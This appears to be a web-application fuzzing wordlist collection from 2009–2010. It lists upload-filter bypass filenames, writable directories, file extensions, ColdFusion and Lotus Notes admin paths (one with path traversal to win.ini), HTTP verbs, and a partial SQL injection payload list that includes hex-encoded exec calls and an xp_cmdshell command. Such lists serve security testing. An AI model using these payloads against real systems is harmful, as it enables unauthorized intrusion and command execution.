# released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> 